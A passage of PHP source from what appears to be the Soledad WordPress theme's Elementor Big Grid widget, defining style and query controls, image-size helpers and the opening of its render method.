			'label'   => __( 'Image Hover Effect', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'zoom-in',
			'options' => array(
				'zoom-in'     => __('Zoom-In', 'soledad' ),
				'zoom-out'    => __('Zoom-out', 'soledad' ),
				'move-left'   => __('Move to Left', 'soledad' ),
				'move-right'  => __('Move to Right', 'soledad' ),
				'move-bottom' => __('Move to Bottom', 'soledad' ),
				'move-top'    => __('Move to Top', 'soledad' ),
				'none'        => __('None', 'soledad' ),
			)
		) );

		$this->add_control( 'text_overlay', array(
			'label'   => __( 'Content Text Hover Type', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'none',
			'options' => array(
				'none'    => __('None', 'soledad' ),
				'show-in' => __('Show on Hover', 'soledad' ),
				'hide-in' => __('Hide on Hover', 'soledad' ),
			)
		) );

		$this->add_control( 'text_overlay_ani', array(
			'label'     => __( 'Content Text Hover Animation', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'movetop',
			'options'   => array(
				'movetop'    => __('Move to Top', 'soledad' ),
				'movebottom' => __('Move to Bottom', 'soledad' ),
				'moveleft'   => __('Move to Left', 'soledad' ),
				'moveright'  => __('Move to Right', 'soledad' ),
				'zoomin'     => __('Zoom In', 'soledad' ),
				'zoomout'    => __('Zoom Out', 'soledad' ),
				'fade'       => __('Fade', 'soledad' ),
			),
			'condition' => array( 'text_overlay' => array( 'show-in', 'hide-in' ) ),
		) );

		$this->add_control( 'title_anivisi', array(
			'label'     => __( 'Makes Titles Always Visible?', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'condition' => array( 'text_overlay' => array( 'show-in', 'hide-in' ) ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_biggrid_typo', array(
			'label' => __( 'Big Grid Typography & Colors', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'bgitem_design', array(
			'label'     => esc_html__( 'Big Grid Items', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'ver_border', array(
			'label'        => __( 'Add Vertical Border Between Post Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'condition'    => array( 'style' => 'style-1' ),
		) );

		$this->add_control( 'ver_bordercl', array(
			'label'     => __( 'Custom Vertical Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-verbd .penci-dflex .penci-bgitem' => 'border-right-color: {{VALUE}};',
			),
			'condition' => array( 'ver_border' => 'yes', 'style' => 'style-1' ),
		) );

		$this->add_responsive_control( 'ver_borderw', array(
			'label'     => __( 'Custom Vertical Border Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcbg-verbd .penci-dflex .penci-bgitem' => 'border-right-width: {{SIZE}}px;',
			),
			'condition' => array( 'ver_border' => 'yes', 'style' => 'style-1' ),
		) );

		$this->add_control( 'bgitem_bg', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-biggrid .penci-bgitin' => 'background-color: {{VALUE}};',
				'body.pcdark-mode {{WRAPPER}} .penci-biggrid .penci-bgitin'       => 'background-color: rgba(55,55,55,0.2);',
			),
		) );

		$this->add_control( 'bgitem_borders', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'border: 1px solid {{VALUE}};',
			),
		) );

		$this->add_responsive_control( 'bgitem_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'bgitem_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-biggrid .penci-bgitin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .penci-bgitin, {{WRAPPER}} .pcbg-thumb' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		$this->add_control( 'subtitle_design', array(
			'label'     => esc_html__( 'Post Categories/ Sub Title', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'bgsub_title', array(
			'label'     => __( 'Text & Links Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-bgrid-based-custom .pcbg-content-inner .pcbg-above' => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-above span'                      => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-above span a'                    => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-sub-title'                       => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgsub_title_hover', array(
			'label'     => __( 'Links Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-above a:hover' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'bgsub_title_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-bgrid-based-custom .pcbg-content-inner .pcbg-above, {{WRAPPER}} .pcbg-content-inner .pcbg-above span,{{WRAPPER}} .pcbg-content-inner .pcbg-above span a, {{WRAPPER}} .pcbg-content-inner .pcbg-sub-title',
		) );

		$this->add_control( 'title_design', array(
			'label'     => esc_html__( 'Title', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'bgtitle_color', array(
			'label'     => __( 'Title Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a,{{WRAPPER}} .pcbg-content-inner .pcbg-title' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'bgtitle_color_hover', array(
			'label'     => __( 'Title Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'title_hcolor_effect', array(
			'label'     => __( 'Enable Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-title a' 		=> 'background-image: linear-gradient(var(--pcaccent-cl) 0%, var(--pcaccent-cl) 98%);background-size: 0 1px;background-repeat: no-repeat;background-position: left 100%;word-break: break-word;transition: 0.3s all ease-in-out;',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-title a:hover' => 'background-size: 100% 1px;',
			),
		) );

		$this->add_control( 'title_hcolor_effect_color', array(
			'label'     => __( 'Hover Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcbg-content-inner .pcbg-title a' => 'background-image: linear-gradient({{VALUE}} 0%, {{VALUE}} 98%)' ),
			'condition' => array( 'title_hcolor_effect' => 'yes' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'bgtitle_typo_big',
			'label'     => __( 'Title Typography for Big Items', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcbg-big-item .pcbg-content-inner .pcbg-title,{{WRAPPER}} .pcbg-big-item .pcbg-content-inner .pcbg-title a',
			'condition' => array( 'style!' => array( 'style-1', 'style-2' ) ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'bgtitle_typo',
			'label'    => __( 'Title Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcbg-content-inner .pcbg-title,{{WRAPPER}} .pcbg-content-inner .pcbg-title a',
		) );

		$this->add_control( 'desc_design', array(
			'label'     => esc_html__( 'Post Meta/ Description Text', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'bgdesc_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgdesc_link_color', array(
			'label'     => __( 'Links Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta a'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span a' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgdesc_link_hcolor', array(
			'label'     => __( 'Links Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta a:hover'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .pcbg-content-inner .pcbg-meta span a:hover' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'title_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcbg-content-inner .pcbg-meta,{{WRAPPER}} .pcbg-content-inner .pcbg-meta span, {{WRAPPER}} .pcbg-content-inner .pcbg-meta a',
		) );

		$this->add_control( 'excerpt_design', array(
			'label'     => esc_html__( 'Post Excerpt', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'bgquery_type' => 'post' ),
		) );

		$this->add_control( 'excerpt_tcolor', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'bgquery_type' => 'post' ),
			'selectors' => array(
				'{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt a, {{WRAPPER}} .pcbg-pexcerpt p' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'excerpt_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'condition' => array( 'bgquery_type' => 'post' ),
			'selector'  => '{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt a, {{WRAPPER}} .pcbg-pexcerpt p',
		) );

		$this->add_control( 'readmore_design', array(
			'label'     => esc_html__( 'Read More Button', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'readmore_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'readmore_hcolor', array(
			'label'     => __( 'Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_color', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'border: 1px solid {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_hcolor', array(
			'label'     => __( 'Borders Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'bgreadmore_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn:hover, {{WRAPPER}} .pcbg-overlap-hover:hover .pcbg-readmore-sec .pcbg-readmorebtn' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'bgreadm_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn',
		) );

		$this->add_responsive_control( 'bgreadmore_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'bgreadmore_borderradius', array(
			'label'      => __( 'Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'bgreadmore_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_control( 'add_icon_readmore', array(
			'label' => __( 'Add Icon to "Read More" Button', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_control( 'readmore_icon', array(
			'label'     => esc_html__( 'Icon', 'soledad' ),
			'type'      => Controls_Manager::ICONS,
			'condition' => array( 'add_icon_readmore' => 'yes' ),
		) );

		$this->add_control( 'readmore_icon_pos', array(
			'label'     => esc_html__( 'Icon position', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'right' => esc_html__( 'Right', 'soledad' ),
				'left'  => esc_html__( 'Left', 'soledad' ),
			),
			'default'   => 'right',
			'condition' => array( 'add_icon_readmore' => 'yes' ),
			// 'selectors_dictionary' => array(
			// 'right' => 'row',
			// 'left' => 'row-reverse',
			// ),
			// 'selectors' => array(
			// '{{WRAPPER}} .pcbg-readmore-sec .pcbg-readmorebtn' => 'flex-direction: {{VALUE}}; -webkit-flex-direction: {{VALUE}}',
			// ),
		) );

		$this->add_control( 'pagi_design', array(
			'label'     => esc_html__( 'Page Navigation', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_responsive_control( 'pagi_mwidth', array(
			'label'      => __( 'Load More Posts Button Max Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => array( '%', 'px' ),
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100, ),
				'px' => array( 'min' => 0, 'max' => 2000, 'step' => 1 ),
			),
			'condition'  => array(
				'paging'       => array( 'loadmore', 'scroll' ),
				'bgquery_type' => 'post'
			),
			'selectors'  => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'max-width: {{SIZE}}{{UNIT}};',
			),
		) );

		$this->add_control( 'pagi_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'pagi_hcolor', array(
			'label'     => __( 'Text Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'bgpagi_color', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'bgpagi_hcolor', array(
			'label'     => __( 'Borders Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'bgpagi_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_control( 'bgpagi_hbgcolor', array(
			'label'     => __( 'Hover & Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'background-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'background-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'bgpagi_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .penci-pagination a, {{WRAPPER}} .penci-pagination span.current',
			'condition' => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderwidth', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_responsive_control( 'bgpagi_borderradius', array(
			'label'      => __( 'Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->add_responsive_control( 'bgpagi_padding', array(
			'label'      => __( 'Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} ul.page-numbers li a'         => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} ul.page-numbers span.current' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .penci-pagination a'          => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
			'condition'  => array(
				'paging!'      => 'none',
				'bgquery_type' => 'post'
			),
		) );

		$this->end_controls_section();


		$this->register_penci_bookmark_style_groups();
		$this->register_paywall_premium_heading_style_groups();
		$this->register_block_heading_link_section_style();
		$this->register_block_title_style_section_controls();
	}

	protected function register_query_section_controls( $showmeta = false, $condition = [] ) {

		$this->start_controls_section( 'section_query', array(
			'label'     => __( 'Query Based Posts', 'soledad' ),
			'condition' => array( 'bgquery_type' => 'post' ),
			'tab'       => Controls_Manager::TAB_CONTENT
		) );

		$this->add_group_control( Penci_Group_Control_Posts::get_type(), array(
			'name' => 'posts'
		) );

		$this->add_control( 'posts_per_page', array(
			'label'     => __( 'Posts Per Page', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => 10,
			'condition' => array( 'posts_post_type!' => array( 'by_id', 'current_query' ) ),
		) );

		$this->add_control( 'arposts_per_page', array(
			'label'       => __( 'Posts Per Page', 'soledad' ),
			'description' => __( 'This option only work for Archive Builder', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'default'     => 10,
			'condition'   => array( 'posts_post_type' => array( 'current_query' ) ),
		) );

		$this->add_control( 'arposts_new', array(
			'label'       => __( 'Always Show Newest Posts', 'soledad' ),
			'description' => __( 'This option will sticky newest posts when your page go to a new pagination', 'soledad' ),
			'type'        => Controls_Manager::SWITCHER,
			'condition'   => array( 'posts_post_type' => array( 'current_query' ) ),
		) );

		$this->add_control( 'orderby', array(
			'label'     => __( 'Order By', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'date',
			'options'   => array(
				'date'          => __( 'Published Date', 'soledad' ),
				'ID'            => __('Post ID', 'soledad' ),
				'modified'      => __('Modified Date', 'soledad' ),
				'title'         => __('Post Title', 'soledad' ),
				'rand'          => __('Random Posts', 'soledad' ),
				'comment_count' => __('Comment Count', 'soledad' ),
				'most_liked' 	=> __( 'Most Liked', 'soledad' ),
				'popular'       => __('Most Viewed Posts All Time', 'soledad' ),
				'popular_day'   => __('Most Viewed Posts Daily', 'soledad' ),
				'popular7'      => __('Most Viewed Posts Once Weekly', 'soledad' ),
				'popular_month' => __('Most Viewed Posts Once a Month', 'soledad' ),
				'metakey' 		=> __( 'Custom Meta Key', 'soledad' ),
			),
			'condition' => array( 'posts_post_type!' => array( 'current_query' ) ),
		) );

		$this->add_control( 'orderby_meta_key', array(
			'label'       => __( 'Custom Meta Key', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'default'     => '',
			'description' => __( 'Enter the custom meta key to order by.', 'soledad' ),
			'condition'   => array( 'orderby' => 'metakey', 'posts_post_type!' => array( 'current_query' ) ),
		) );

		$this->add_control( 'order', array(
			'label'     => __( 'Order', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'desc',
			'options'   => array(
				'asc'  => __( 'ASC', 'soledad' ),
				'desc' => __( 'DESC', 'soledad' )
			),
			'condition' => array( 'posts_post_type!' => array( 'current_query' ) ),
		) );

		$this->add_control( 'offset', array(
			'label'       => __( 'Offset', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'default'     => 0,
			'condition'   => array( 'posts_post_type!' => array( 'by_id' ) ),
			'description' => __( 'Use this setting to skip over posts (e.g. \'2\' to skip over 2 posts).', 'soledad' ),
		) );

		$this->add_control( 'avoid_duplicates', [
			'label'       => esc_html__( 'Avoid Duplicates', 'soledad' ),
			'type'        => Controls_Manager::SWITCHER,
			'default'     => '',
			'description' => esc_html__( 'Set to Yes to avoid duplicate posts from showing up. This only effects the frontend.', 'soledad' ),
			'condition'   => [
				'posts_post_type!' => [
					'by_id',
					'current_query',
				],
			],
		] );

		Query_Control::add_exclude_controls( $this );

		$this->register_custom_post_metas_groups();

		$this->add_control( 'query_id', array(
			'label'     => __( 'Query ID', 'soledad' ),
			'type'      => Controls_Manager::TEXT,
		) );

		$this->end_controls_section();
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings     = $this->get_settings();
		$biggid_type  = $settings['bgquery_type'] ? $settings['bgquery_type'] : 'post';
		$biggid_style = $settings['style'] ? $settings['style'] : 'style-1';
		if ( isset( $_GET['bgstyle'] ) ) {
			$biggid_style = esc_attr( $_GET['bgstyle'] );
		}
		$overlay_type      = $settings['overlay_type'] ? $settings['overlay_type'] : 'whole';
		$bgcontent_pos     = $settings['bgcontent_pos'] ? $settings['bgcontent_pos'] : 'on';
		$content_display   = $settings['content_display'] ? $settings['content_display'] : 'block';
		$disable_lazy      = $settings['disable_lazy'] ? $settings['disable_lazy'] : '';
		$image_hover       = $settings['image_hover'] ? $settings['image_hover'] : 'zoom-in';
		$text_overlay      = $settings['text_overlay'] ? $settings['text_overlay'] : 'none';
		$text_overlay_ani  = $settings['text_overlay_ani'] ? $settings['text_overlay_ani'] : 'movetop';
		$onecol_mobile     = $settings['onecol_mobile'] ? $settings['onecol_mobile'] : '';
